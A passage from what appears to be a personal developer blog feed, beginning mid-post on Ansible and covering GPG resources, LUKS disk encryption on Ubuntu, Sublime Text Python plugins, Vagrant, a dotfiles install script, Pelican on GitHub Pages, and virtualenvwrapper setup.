<p>Then there are modules, like <code>apt</code> in the example above, which are basically wrappers for the most common operations. There are lots of them, so there's a very high chance that you'll find a module for the command you need to run. And in case you don't, you can always use the shell module to run your command as you would type it in the terminal.</p>
<p>Besides making your life easier when it comes to write provision scripts, Ansible also makes the process of running them way faster. In fact, <em>idempotency</em> is one of the key concept of Ansible modules, which basically means that they won't execute if their target state has already been reached. So, if you resume a partial provisioning, Ansible will skip all the previously performed tasks.</p>
<p>Last but not least, Ansible is written in Python which is a nice plus. Unfortunately it does not support Python 3, but I guess I'll have to live with it for the time being.</p>
<p>It is probably worthy mentioning that Ansible doesn't natively run on Windows. Fortunately the <a href="http://phansible.com">Phansible team</a> came up with a workaround for it: using a shell provision to install Ansible on the guest and the run provision from there. It is a bit slower than running Ansible locally, but works great for projects with cross platforms contributors. Alternatively, I heard of people being able to run Ansible with cgywin, but I have no clues about what it takes to make it happen.</p>
<p>All in all, I would warmly recommend to give Ansible a try - especially if you are currently using bash for provisioning your vagrant machines. Here some links to get you started:</p>
<ul>
<li><a href="https://www.ansible.com/">Ansible</a></li>
<li><a href="https://docs.ansible.com">Ansible docs</a></li>
<li><a href="https://docs.vagrantup.com/v2/provisioning/ansible.html">Vagrant docs - provisioning with Ansible</a></li>
</ul>
<p>Happy provisioning!</p>Some great reading resources about GPG2015-06-17T00:00:00+02:002015-06-17T00:00:00+02:00Giuliatag:railslide.io,2015-06-17:/gpg-reading-resources.html<p>A bunch of pretty awesome reading resources about GPG and cryptography.</p><p>While setting up my GPG keyring, I stumbled upon quite some interesting reading resources about PGP/GPG and cryptography in general. I collected them in this blog post in case they could come in handy for someone else or for future reference.</p>
<p>Happy reading!</p>
<h2>Cryptography in general</h2>
<ul>
<li><a href="https://www.philzimmermann.com/EN/essays/WhyIWrotePGP.html">Why I Wrote PGP (Philip Zimmermann)</a></li>
<li><a href="http://www.autistici.org/en/stuff/man_mail/privacymail.html">Protecting your privacy: how and why (Autistici/Inventati)</a></li>
<li><a href="https://www.gnupg.org/gph/en/manual/book1.html">The GNU Privacy Handbook</a></li>
</ul>
<h2>Key creation</h2>
<ul>
<li><a href="https://wiki.debian.org/Subkeys">Debian wiki about Subkeys</a></li>
<li><a href="https://www.void.gr/kargig/blog/2013/12/02/creating-a-new-gpg-key-with-subkeys/">Creating a new GPG key with subkeys (void.gr)</a></li>
<li><a href="https://alexcabal.com/creating-the-perfect-gpg-keypair/">Creating the perfect GPG keypair (Alex Cabal)</a></li>
<li><a href="https://www.debian-administration.org/article/451/Submitting_your_GPG_key_to_a_keyserver">Submitting your GPG key to a keyserver (Debian Administration)</a></li>
<li><a href="http://openpgpblog.tumblr.com/post/219954494/photos-on-pgp-keys">Photos on PGP keys (OpenPGP Blog)</a></li>
<li><a href="http://www.spywarewarrior.com/uiuc/ss/revoke/pgp-revoke.htm">Creating a Key Revocation Certificate in PGP (spywarewarriors.com)</a></li>
</ul>
<h2>GPG + Email</h2>
<ul>
<li><a href="http://lifehacker.com/180878/how-to-encrypt-your-email">How to encrypt your email (Lifehacker)</a></li>
<li><a href="https://www.enigmail.net/home/index.php">Enigmail</a></li>
<li><a href="https://mailpile.is">Mailpile</a></li>
</ul>How to encrypt a removable disk in Ubuntu 14.042015-04-27T00:00:00+02:002015-04-27T00:00:00+02:00Giuliatag:railslide.io,2015-04-27:/encrypt-removable-disk-ubuntu-1404.html<p>Most of the guides on how to encrypt a removable disk in Ubuntu still refer to Ubuntu 12.04. Here's how to do it in Ubuntu 14.04 and to cope with the changes it introduces to the disks manager tool.</p><p>The other day, while encrypting a USB stick, I discovered that most of the available howtos (including the community wiki) refers to Ubuntu 12.04. So, here's how to do it in Ubuntu 14.04, taking into account the changes that the latest LTS introduced to the disks manager tool.</p>
<h2>1. Install cryptsetup</h2>
<p>The first thing you need to do is to install <code>cryptsetup</code>:</p>
<div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>apt-get<span class="w"> </span>install<span class="w"> </span>cryptsetup
</code></pre></div>
<p>You can also install it from the Software center if you feel more comfortable with a graphical interface.</p>
<h2>2. Disks manager</h2>
<p>Launch the disk manager via <em>Dash > Disks</em> and select the volume you wish to encrypt.</p>
<p><em><strong>WARNING: The encryption process will format the volume, so any previously stored data will be wiped off.</strong></em></p>
<p>In other words,</p>
<ul>
<li>If you have any data on your USB, you probably want to back them up.</li>
<li>Make sure to select the rigth volume to encrypt, otherwise you could accidentally wipe your hard disk off.</li>
</ul>
<p>Select the partition, click on the gear icon under it, and choose <code>Format</code>. Select <code>Overwrite existing data with zeroes (slow)</code> and <code>Encrypted, compatible with Linux systems (LUKS + ext4)</code> as type.</p>
<p>Then insert the passphrase, confirm it, and wait until the process it's complete. Click on the lockpad icon (i.e. to close it) and you're ready to go.</p>
<h2>Troubleshooting</h2>
<ul>
<li>
<p>You need to have <code>cryptsetup</code> installed in order to get <code>LUKS + ext4</code> option showing up in the list of available system format.</p>
</li>
<li>
<p>If you had the disk manager already open while installing <code>cryptsetup</code>, you have to restart it in order to see the <code>LUKS + ext4</code> option.</p>
</li>
</ul>Anaconda VS SublimePythonIDE2015-01-27T00:00:00+01:002015-01-27T00:00:00+01:00Giuliatag:railslide.io,2015-01-27:/anaconda-vs-sublime-python-ide.html<p>When I was looking for a python code linting plugin for Sublime Text 3, I stumbled upon several blog posts mentioning either SublimePythonIDE or Anaconda. The problem was, however, that a comparison between the two was nowhere to be found, so I ended up trying both.</p><p>When I was looking for a python code linting plugin for Sublime Text 3, I stumbled upon several blog posts mentioning either <a href="https://github.com/JulianEberius/SublimePythonIDE">SublimePythonIDE</a> or <a href="http://damnwidget.github.io/anaconda/">Anaconda</a>. The problem was, however, that a comparison between the two was nowhere to be found, so I ended up trying both.</p>
<p>The first thing that I have to acknowledge is that they are both very good when it comes to code linting and auto completion. So, no matter which one you choose, you can't really go wrong.</p>
<p>When it comes to the extras SublimePythonIDE is the one that lacks most. Although this certainly comes with with the price of less flexibility, it isn't necessary a negative thing. Indeed, the strength of SublimePythonIDE is that it works out of the box: just make sure that your project settings point to correct interpreter (I delegate that to <a href="http://github.com/Railslide/subvenv">Subvenv</a>) and you're ready to go. Without any further effort from your side, SublimePythonIDE will provide you with fancy linting icons on the gutter and colored linting marks. While the same things can be obtained with Anaconda as well, they still require you to read the docs and tinker with the settings.</p>
<p>Although they require some initial tuning, the extensive amount of customizable settings are not necessarily a negative things, since they offer you the possibility to adjust the way it looks and feel to suite your taste. On top of that Anaconda provides a bunch of handy IDE-like features, such as <code>Go to definition</code>, <code>Show documentation</code>, and <code>Find usage</code> - all reachable via shortcuts or via command palette. It also comes with <a href="https://github.com/hhatto/autopep8">AutoPEP8</a>, McCabe complexity checker, and Vagrant integration (via command palette). Recently also a test runner and an import validator has been added to the already reach set of features.</p>
<p>So which one is the best? It depends. I have settled on Anaconda, since I really enjoy the <code>Go to definition</code>, <code>Show documentation</code>, and <code>Find usage</code> features and use them quite often - especially when dealing with large projects and/or large files. However, if you need a linter that just works and don't want to spend time in playing around with its configuration, SublimePythonIDE is probably the right choice. On the contrary, if you don't mind tinkering a bit with settings files and you are looking for a wider set of IDE-like functions, Anaconda is definitely worthy a shot.</p>Hello Vagrant! (aka development environment made easy)2014-09-14T00:00:00+02:002014-09-14T00:00:00+02:00Giuliatag:railslide.io,2014-09-14:/hello-vagrant.html<p>If you don't use Vagrant yet, you should. Here's why.</p><p>For a long time my first step for starting a PHP based project has been to install Xampp on my machine. Xampp provides a considerably easy-to-install full lamp stack - no question about that. However, when I started working on more complicated projects which implied to work together with other developers issues started rising. The main problem was the differences between my local environment and the production one. Add the a further layer of differences for potentially each person involved in the project and it doesn't take much to figure out that moving the result of your work somewhere else than your machine was a guaranteed headache.</p>
<p>Now imagine a full LAMP stack that gets activated with a command as simple as <code>vagrant up</code> and takes automatically care of all the dependencies and needed libraries. Add on top of it that it's easily portable and tailored to your needs and you should already have enough reasons for giving Vagrant a try.</p>
<p>If you are still not fully convinced or just curios, here is a more detailed insight of how Vagrant increases productivity and makes your life so incredibly easier.</p>
<h2>Exactly what you need</h2>
<p>Since you are the one provisioning your virtual machine, you get the total freedom of setting it up the way you want. This means that you can have a VM that perfectly replicates your production environment, removing thus all the potentially annoying discrepancies between your local system and the production one.</p>
<h2>Setup only once</h2>
<p>All you need for bringing up a VM with Vagrant is just the Vagrantfile and the provision script(s). Once you have those you are just a <code>vagrant up</code> away from that very machine every time you need it.</p>
<p>But the coolness doesn't stop here! If you commit the Vagrantfile and the provision scripts together with the rest of your projects files (and I don't see any good reason why you shouldn't), any developer checking out the code will be able to run the same VM on her/his computer.</p>
<p>This is particularly useful when working in a team, since <em>one person</em> set up the VM <em>just once</em> and a whole team benefits from it. Furthermore, thanks to CVS, if someone needs to install a library for carry out her/his job, s/he simply edits the provision file accordingly and commit it. In this way, everyone will get the needed library installed on the VM and so long forgotten dependencies.</p>
<h2>Develop the way you like</h2>
<p>Vagrant automatically syncs files between the host and the guest machine. So there's no need to change anything in your beloved setup nor to use something other than your favorite editor. Any file you edit locally in a synced folder will automagically appear in the VM as well, ready to be used.</p>
<h2>Multiple machines? Not a problem!</h2>
<p>Vagrant allow you to have multiple VMs within the same project. They can communicate to each other, so that you can accurately reproduce the production environment of your multi-servers killer app. By the way, they are also independent from each other, so no need of bringing them all up when you need to work on only one.</p>
<h2>Summing up</h2>
<p>I guess it's pretty obvious that I am a huge fan of Vagrant. It makes my life so much easier (and my working team's too!) and I can no longer imagine my development workflow without it. Finally, the fact that it's also open source it's just the cherry on top.</p>
<ul>
<li><a href="http://vagrantup.com/">Vagrant homepage</a></li>
</ul>Setting up a dotfiles repo and easily port configurations around2014-07-10T00:00:00+02:002014-07-10T00:00:00+02:00Giuliatag:railslide.io,2014-07-10:/dotfiles.html<p>How I set up a repository containing my setting and configuration files and delegated the task of creating symlinks to the computer.</p><p>After having spent quite some time in finding the right set up for my developing environment, it came natural to look for a way for porting my configuration. Enter a dotfiles repo, aka having all my configurations only one <code>git clone</code> away and making my life so much easier.</p>
<p>Michael Smalley wrote an <a href="http://blog.smalleycreative.com/tutorials/using-git-and-github-to-manage-your-dotfiles/">amazing tutorial</a> for managing dotfiles and creating a script for automagically installing them (go and check it out!), which provided me with a great starting point. However, his script handles only dotfiles housed in the home directory and that didn't really get together with my goal of adding Sublime Text settings to my dotfiles repo. So I fired up Nano and extended the script in order to make it do exactly what I needed.</p>
<p>First of all, I needed to to move Sublime configuration files to my dotfiles folder. Thankfully <a href="http://zanshin.net/2013/01/21/sublime-text-2-dotfiles-simplified/">Mark Nichols' post</a> tipped me that I the only folder I needed to care about was the User one. So, after cleaning it up from some experiments leftovers, I moved to my dotfiles folder and placed a symlink in its previous location.</p>
<p>Then I added a variable holding the path to the User directory:</p>
<div class="highlight"><pre><span></span><code><span class="nv">sublimedir</span><span class="o">=</span>~/.config/sublime-text-3/Packages/User
</code></pre></div>
<p>and at the end of the file the lines taking care of the magic:</p>
<div class="highlight"><pre><span></span><code><span class="c1"># move any existing dotfiles in homedir to dotfiles_old directory, then create symlinks</span>
<span class="k">for</span><span class="w"> </span>file<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="nv">$files</span><span class="p">;</span><span class="w"> </span><span class="k">do</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">[</span><span class="w"> </span>-a<span class="w"> </span>~/.<span class="nv">$file</span><span class="w"> </span><span class="o">]</span><span class="p">;</span><span class="w"> </span><span class="k">then</span><span class="w"> </span><span class="c1"># check if a dotfile already exists</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Moving any existing dotfiles from ~ to </span><span class="nv">$olddir</span><span class="s2">"</span>
<span class="w"> </span>mv<span class="w"> </span>~/.<span class="nv">$file</span><span class="w"> </span><span class="nv">$olddir</span>
<span class="w"> </span><span class="k">fi</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Creating symlink to </span><span class="nv">$file</span><span class="s2"> in home directory."</span>
<span class="w"> </span>ln<span class="w"> </span>-s<span class="w"> </span><span class="nv">$dir</span>/<span class="nv">$file</span><span class="w"> </span>~/.<span class="nv">$file</span>
<span class="k">done</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">"...done"</span>
<span class="c1"># Create symlink for Sublime Text User directory</span>
<span class="k">if</span><span class="w"> </span><span class="o">[</span><span class="w"> </span>-d<span class="w"> </span><span class="nv">$sublimedir</span><span class="w"> </span><span class="o">]</span><span class="p">;</span><span class="w"> </span><span class="k">then</span><span class="w"> </span><span class="c1"># check whether the directory already exists</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="o">[</span><span class="w"> </span>-L<span class="w"> </span><span class="nv">$sublimedir</span><span class="w"> </span><span class="o">]</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Removing old symlink"</span>
<span class="w"> </span>rm<span class="w"> </span><span class="nv">$sublimedir</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"...done"</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"Moving the existing Sublime Text Users directory from </span><span class="nv">$sublimedir</span><span class="s2"> to </span><span class="nv">$olddir</span><span class="s2">"</span>
<span class="w"> </span>mv<span class="w"> </span><span class="nv">$sublimedir</span><span class="w"> </span><span class="nv">$olddir</span>
<span class="w"> </span><span class="nb">echo</span><span class="w"> </span><span class="s2">"...done"</span>
<span class="w"> </span><span class="k">fi</span>
<span class="k">fi</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">"Creating symlink to User in </span><span class="nv">$sublimedir</span><span class="s2">"</span>
ln<span class="w"> </span>-s<span class="w"> </span><span class="nv">$dir</span>/sublime/User<span class="w"> </span><span class="nv">$sublimedir</span>
<span class="nb">echo</span><span class="w"> </span><span class="s2">"...done"</span>
</code></pre></div>
<p>The full script can be found on <a href="https://github.com/Railslide/dotfiles/blob/master/installdotfiles.sh">github</a>.</p>
<p>Finally, since Package Control updates regularly some of the files in the User folder, I added them to a <code>.gitignore</code> file in order to avoid to much noise in my version control. A list of those files can be found in the <a href="https://sublime.wbond.net/docs/syncing">docs</a> of Package Control.</p>How to set up Pelican on GitHub pages2014-06-09T00:00:00+02:002014-06-09T00:00:00+02:00Giuliatag:railslide.io,2014-06-09:/pelican-github-pages.html<p>How to set up Pelican on GitHUb pages and a custom domain</p><p>Although the web is plenty of blog posts about how to set up a Pelican powered blog on GitHub pages, I still had to glean information from several sources and mix it with a bit of experimentation before being able to have my blog up and running. So hopefully this post will make someone's life easier, other than being a future reference for myself.</p>
<p>Before starting I need to give credit where credit is due, since <a href="http://mathamy.com/migrating-to-github-pages-using-pelican.html">this post</a> by Amy Hanlon and <a href="http://martinbrochhaus.com/pelican2.html">this one</a> by Martin Brochhaus have been a tremendous starting point for my trial-and-error journey. Once said that, we can start.</p>
<h1>1. Setting up GitHub project pages</h1>
<p>GitHub offers the possibility to host your site in the cloud through either <a href="https://help.github.com/articles/user-organization-and-project-pages">personal or project pages</a>. Although it is possible to use both for hosting a Pelican powered blog, project pages make your life so much easier when it comes both to publish your blog content and to put blog source under revision control.</p>
<p>For creating project pages, all we need to do is to create a repository as usual and put the content we wish to publish (i.e. the HTML static files) into a branch named <code>gh-pages</code>. Once done that, your page will show up at username.github.io/repository.</p>
<p>Although it could sounds overly complicated - especially the <code>gh-pages</code> branch part - you don't have to worry since an awesome program called <a href="https://github.com/davisp/ghp-import">ghp-import</a> will take care of it for us. For now, simply create a new repository as you would do for any other project and set up a <code>.gitignore</code> file with the following content:</p>
<div class="highlight"><pre><span></span><code>*.pid
*.pyc
output/
</code></pre></div>
<h1>2. Installing the needed packages</h1>
<p>Before installing Pelican, I would recommend to create a new virtualenv. It is not mandatory, but it is definitely a good practice and would prevent the risk of conflicts between installed packages.</p>
<p>NOTE: Pelican documentation recommends to use Pelican with Python 2.7. I am keeping up with <a href="https://railslide.io/virtualenvwrapper-python3.html">my pledge of using Python 3 whenever possible</a>, as well as giving a try with Python 3.4 (Ubuntu 14.04 default version). Everything works fine so far and anyways these instructions are version agnostic - just be aware of it and choose your Python version accordingly.</p>
<p>Install pelican and ghp-import</p>
<div class="highlight"><pre><span></span><code>pip<span class="w"> </span>install<span class="w"> </span>pelican
pip<span class="w"> </span>install<span class="w"> </span>-e<span class="w"> </span>git+git://github.com/davisp/ghp-import.git#egg<span class="o">=</span>ghp-import
</code></pre></div>
<p>Next run <code>pelican-quickstart</code> and get ready to answer to a bunch of questions. Most of them are pretty straightforward and anyway you'll be able to change them later in your settings files. These are the only ones you need to care about for the moment:</p>
<div class="highlight"><pre><span></span><code>Where<span class="w"> </span><span class="k">do</span><span class="w"> </span>you<span class="w"> </span>want<span class="w"> </span>to<span class="w"> </span>create<span class="w"> </span>your<span class="w"> </span>new<span class="w"> </span>web<span class="w"> </span>site?<span class="w"> </span><span class="o">[</span>.<span class="o">]</span><span class="w"> </span><span class="c1"># Press enter</span>
Do<span class="w"> </span>you<span class="w"> </span>want<span class="w"> </span>to<span class="w"> </span>specify<span class="w"> </span>a<span class="w"> </span>URL<span class="w"> </span>prefix?<span class="w"> </span>e.g.,<span class="w"> </span>http://example.com<span class="w"> </span><span class="o">(</span>Y/n<span class="o">)</span><span class="w"> </span><span class="c1"># y</span>
What<span class="w"> </span>is<span class="w"> </span>your<span class="w"> </span>URL<span class="w"> </span>prefix?<span class="w"> </span><span class="o">(</span>see<span class="w"> </span>above<span class="w"> </span>example<span class="p">;</span><span class="w"> </span>no<span class="w"> </span>trailing<span class="w"> </span>slash<span class="o">)</span><span class="w"> </span><span class="c1"># http://username.github.io/repository</span>
Do<span class="w"> </span>you<span class="w"> </span>want<span class="w"> </span>to<span class="w"> </span>generate<span class="w"> </span>a<span class="w"> </span>Fabfile/Makefile<span class="w"> </span>to<span class="w"> </span>automate<span class="w"> </span>generation<span class="w"> </span>and<span class="w"> </span>publishing?<span class="w"> </span><span class="o">(</span>Y/n<span class="o">)</span><span class="w"> </span><span class="c1"># y</span>
</code></pre></div>
<p>Answer <code>n</code> to all the questions about uploading your website and you are ready to go.</p>
<h1>3. Writing content</h1>
<p>Fire up your favorite text editor and write your blog content in either Markdown or reStructuredText. Once you have done, save it in the content folder. For previewing it:</p>
<div class="highlight"><pre><span></span><code>make<span class="w"> </span>devserver
<span class="c1"># go to http://localhost:8000 and check if everything looks good</span>
^C<span class="w"> </span><span class="c1"># note that CTRL+C won't stop dev server</span>
./develop_server.sh<span class="w"> </span>stop<span class="w"> </span><span class="c1"># manually stop the dev server</span>
</code></pre></div>
<h1>4. Publishing and pushing</h1>
<p>Ok this is the easy part.</p>
<div class="highlight"><pre><span></span><code><span class="c1"># pushing the source repo</span>
git<span class="w"> </span>push<span class="w"> </span>origin<span class="w"> </span>master
<span class="c1"># push the output folder to GitHub pages</span>
make<span class="w"> </span>github
<span class="c1"># celebrate!</span>
</code></pre></div>
<p>Congrats! Your blog is now up and running!</p>
<h1>5. Setting up your custom domain</h1>
<p>Create a CNAME file containing your bare domain:</p>
<div class="highlight"><pre><span></span><code>mydomain.com
</code></pre></div>
<p>Add the following lines to your pelicanconf.py, in order to make Pelican copying it to your output folder on every publish.</p>
<div class="highlight"><pre><span></span><code><span class="n">STATIC_PATHS</span> <span class="o">=</span> <span class="p">[</span>
<span class="s1">'CNAME'</span>
<span class="p">]</span>
</code></pre></div>
<p>Then, assuming that you want both mydomain.com and www.mydomain.com to point at your blog, you need to set <strong>both the CNAME and the A-records</strong> of your domain to point at github.</p>
<p>Since this has been the most problematic step for me, here's a couple of extra thoughts regarding my domain registrar (Gandi):</p>
<ol>
<li>Make sure to not have any other A-record</li>
<li>Using Gandi's web forwarding instead of setting both the CNAME and the A-records resulted in a redirect loop error</li>
<li>You can take the rest of the zone file data from Gandi's default one</li>
<li>Testing from different browsers and refreshing several times can help spotting some very sneaky bugs</li>
<li><a href="http://stackoverflow.com/a/22374542/2926113">This answer</a> from Stack Overflow provides great step-by-step instructions for using GitHub project pages with a custom domain</li>
</ol>
<p>Here are the lines taking care of the magic in my case:</p>
<div class="highlight"><pre><span></span><code>www 10800 IN CNAME railslide.github.io.
@ 10800 IN A 192.30.252.153
@ 10800 IN A 192.30.252.154
</code></pre></div>
<p>After that, wait some hours for the DNS to propagate and you should be done.</p>Installing virtualenvwrapper for Python 3.4 on Ubuntu2014-06-04T00:00:00+02:002014-06-04T00:00:00+02:00Giuliatag:railslide.io,2014-06-04:/virtualenvwrapper-python3.html<p>Virtualenvwrapper is a great virtualenv management tool. Here is how I set it up for Python 3.4 on Ubuntu.</p><p>After listening to an inspiring talk by <a href="http://www.kennethreitz.org/">Kenneth Reitz</a> about transitioning from Python 2 to Python 3 at PyCon Sweden (I'll write a blog post about it sooner or later), I've decided that I should try to stick to Python 3 as much as possible.</p>
<p>So the first step in that direction was to set up my working environment in a Python 3 friendly way, hence to install Virtualenwrapper for Python 3. Here's how I did it.</p>
<p>Virtualenwrapper documentation specifies that Virtualenvwrapper has been tested under Python 2.6-3.3, but no mention of Python 3.4. Being lazy and not really willing to install a third version of Python on my computer (Ubuntu 14.04 comes with Python 2.7.6 and Python 3.4 by default), I decided to give it try with what I had. Everything seems to work flawlessly so far, just keep it in mind in case you want to try to follow these instructions.</p>
<h2>Setting up Virtualenvwrapper</h2>
<p>Install pip for Python 3:</p>
<div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>apt-get<span class="w"> </span>install<span class="w"> </span>python3-pip
</code></pre></div>
<p>Install Virtualenvwrapper for Python 3:</p>
<div class="highlight"><pre><span></span><code>sudo<span class="w"> </span>pip3<span class="w"> </span>install<span class="w"> </span>virtualenvwrapper
</code></pre></div>
<p>So far so good. Now it is time to configure Virtualenvwrapper.</p>
<p>Create a folder for your virtualenvs (I use ~/.virtualenvs) and set it as WORKON_HOME:</p>
<div class="highlight"><pre><span></span><code>mkdir<span class="w"> </span>~/.virtualenvs
<span class="nb">export</span><span class="w"> </span><span class="nv">WORKON_HOME</span><span class="o">=</span>~/.virtualenvs
</code></pre></div>
<p>Add the following lines to ~/.bashrc:</p>
<div class="highlight"><pre><span></span><code>VIRTUALENVWRAPPER_PYTHON='/usr/bin/python3' # This needs to be placed before the virtualenvwrapper command
source /usr/local/bin/virtualenvwrapper.sh
</code></pre></div>
<p>Close and re-open your shell and you're ready to go. Here are the basic commands for using virtualenvwrapper:</p>
<div class="highlight"><pre><span></span><code>mkvirtualenv<span class="w"> </span>virtualenv_name<span class="w"> </span><span class="c1"># Create virtualenv</span>
workon<span class="w"> </span>virtualenv_name<span class="w"> </span><span class="c1"># Activate/switch to a virtualenv</span>
deactivate<span class="w"> </span>virtualenv_name<span class="w"> </span><span class="c1"># Deactivate virtualenv</span>
</code></pre></div>
<p>Congratulations! Your Virtualenvwrapper for Python 3 is now ready to use.</p>
<h2>Projects</h2>
<p><em><strong>EDIT</strong>: in a previous version of this article, I suggested to use the postactivate script to automatically navigate to the project folder when activating the virtualenv. However, since I discovered that such a task is automatically performed by the projects plugin, I updated the post accordingly.</em></p>
<p>While the possibility to have isolated virtual environments just a <code>mkvirtualenv</code> away had immediately convinced me of the usefulness of Virtualenvwrapper, projects made me falling in love for it.</p>
<p>My typical workflow is to create a virtualenv and then create a project folder with the same name. So why not setting up Virtualenvwrapper to automatically do it for me every time I create a new virtualenv? Specify PROJECT_HOME in ~/.bashrc will do the trick:</p>
<div class="highlight"><pre><span></span><code>VIRTUALENVWRAPPER_PYTHON='/usr/bin/python3'
PROJECT_HOME='/path/to/where/you/want/your/project/folder/to/be/created' # This needs to be placed before the virtualenvwrapper command as well
source /usr/local/bin/virtualenvwrapper.sh
</code></pre></div>
<p>Now, when typing</p>
<div class="highlight"><pre><span></span><code>mkproject<span class="w"> </span>my_project
</code></pre></div>
<p>Virtualenvwrapper will automatically create a virtualenv and a folder called <em>my_project</em>.</p>
<p>Cherry on top, projects automaticatilly navigates to the project folder when activating the virtualenv. Thus, when typing</p>
<div class="highlight"><pre><span></span><code>workon<span class="w"> </span>my_project
</code></pre></div>
<p>Virtualenvwrapper activates the virtualenv and teleports me to ~/Projects/my_project. Neat!</p>Up and running!2014-06-03T00:00:00+02:002014-06-03T00:00:00+02:00Giuliatag:railslide.io,2014-06-03:/up-and-running.html<p>Celebrating the first post of the blog and what to do next.</p><p>Ok, my Pelican and GitHub pages powered blog seems to be up and running! Yay!</p>
<p>Since I plan to write a dedicated post about the setup, I'll use this one to throw some ideas about what to do next.</p>
<h2>TO DO (not necessarily in this order)</h2>
<ul>
<li>Change theme - ideally developing my own</li>
<li>Fix links, social buttons, etc.</li>
<li>Fix an about page</li>
<li>Setting up a comment system</li>
<li>Write stuff</li>
</ul>